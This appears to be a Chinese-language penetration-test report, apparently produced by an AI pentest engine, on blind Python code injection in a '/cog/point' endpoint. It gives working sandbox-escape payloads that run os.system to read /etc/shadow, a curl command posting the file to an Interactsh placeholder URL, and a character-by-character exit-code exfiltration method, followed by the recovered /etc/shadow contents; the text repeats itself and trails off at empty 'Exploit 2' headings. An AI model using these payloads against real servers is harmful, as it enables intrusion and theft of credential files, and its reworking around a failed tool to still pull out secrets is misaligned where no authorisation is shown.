在 '/cog/point' 端点的 'expression' 参数中发现了 Python 代码盲注漏洞。服务器对提供的表达式求值,但不在 HTTP 响应中返回命令输出,而是返回执行命令的退出码,成功执行时为 '0'。这确认命令已经执行,但结果必须通过带外方法外传。

概念验证

通过发送以下载荷确认了漏洞:

b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow')")

服务器返回 200 OK 状态和 {"values":[0.0]},其中 0.0 是 os.system 调用的退出码,证明已经执行。

工具故障阻止了外传

外传 /etc/shadow 文件需要带外(OOB)方法。原计划使用 Interactsh URL 捕获 curl 命令的输出。然而,start_interactsh_session 工具持续初始化失败,无法生成用于数据外传的 URL。

计划使用的外传载荷:

b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")

由于无法生成 Interactsh URL,外传 /etc/shadow 文件的最后一步未能完成。漏洞已确认,但当前利用受到工具链问题阻碍。

执行带外外传载荷,将 /etc/shadow 文件内容发送至受控的外部服务器。目标是通过验证监听服务器是否收到文件内容,确认此漏洞可被用于窃取敏感数据。

发现漏洞:Python 代码盲注

漏洞概述

在 '/cog/point' 端点的 'expression' 参数中发现了 Python 代码盲注漏洞。服务器对提供的表达式求值,但不在 HTTP 响应中返回命令输出,而是返回执行命令的退出码,成功执行时为 '0'。这确认命令已经执行,但结果必须通过带外方法外传。

概念验证

通过发送以下载荷确认了漏洞:

b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow')")

服务器返回 200 OK 状态和 {"values":[0.0]},其中 0.0 是 os.system 调用的退出码,证明已经执行。

利用证据

为外传 /etc/shadow 文件,我将使用 Interactsh URL 捕获 curl 命令的输出。

外传载荷:

b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")

复现步骤

  1. 启动 Interactsh 会话,获取唯一 URL。
  2. 将 Interactsh URL 加入外传载荷,并进行 URL 编码。
  3. 向存在漏洞的端点发送 GET 请求,将编码后的载荷放入 'expression' 参数。
  4. 检查 Interactsh 会话是否收到 POST 请求。该请求体将包含 /etc/shadow 文件内容。
  5. Vulnerability Confirmation(漏洞确认):
服务器执行 os.system 调用,退出码(0)在 JSON 响应的 'values' 字段中返回,确认命令盲执行。
  • Exfiltration Payload(外传载荷):
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")

构造 Python 载荷,读取 `/etc/shadow` 文件的首个字符,并将其 ASCII 值作为命令退出码返回。由于带外方法失败,目标是验证应用响应是否反映该退出码,以确认基于退出码的数据外传通道可行。

发现漏洞:Python 代码盲注及通过退出码外传数据

漏洞概述

在 '/cog/point' 端点的 'expression' 参数中发现并利用了 Python 代码盲注漏洞。服务器对提供的表达式求值,虽然不返回命令直接输出,但会在 JSON 响应中返回执行命令的退出码。利用此行为,成功逐字符外传了 /etc/shadow 文件内容。

概念验证

通过发送一系列载荷实现了外传,每个载荷都读取 /etc/shadow 文件中的一个字符,将其转换为 ASCII 值,并用该值作为命令退出码。

获取首个字符 ASCII 值的示例载荷:

b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('exit `head -c 1 /etc/shadow | od -An -tu1`')")

利用证据

已成功外传 /etc/shadow 文件的全部内容,并作为产物附上。

复现步骤

  1. 向存在漏洞的端点发送带特制载荷的 GET 请求,即可复现漏洞。
  2. 创建 Python 脚本以自动化文件外传过程。脚本遍历文件内容,为每个字符发送新请求,并从服务器响应中解码退出码。
  3. 将累积的字符重新组合为完整的 /etc/shadow 文件。
  4. /etc/shadow:
root:*:17885:0:99999:7:::
daemon:*:17885:0:99999:7:::
bin:*:17885:0:99999:7:::
sys:*:17885:0:99999:7:::
sync:*:17885:0:99999:7:::
games:*:17885:0:99999:7:::
man:*:17885:0:99999:7:::
lp:*:17885:0:99999:7:::
mail:*:17885:0:99999:7:::
news:*:17885:0:99999:7:::
uucp:*:17885:0:99999:7:::
proxy:*:17885:0:99999:7:::
www-data:*:17885:0:99999:7:::
backup:*:17885:0:99999:7:::
list:*:17885:0:99999:7:::
irc:*:17885:0:99999:7:::
gnats:*:17885:0:99999:7:::
nobody:*:17885:0:99999:7:::
_apt:*:17885:0:99999:7:::

再次运行会得到不同的利用方式和载荷。下面是另一个示例,引擎能够 生成逐字节泄露内容的代码:

利用 2
利用 2

标签:

security, AI, POC, pentest, python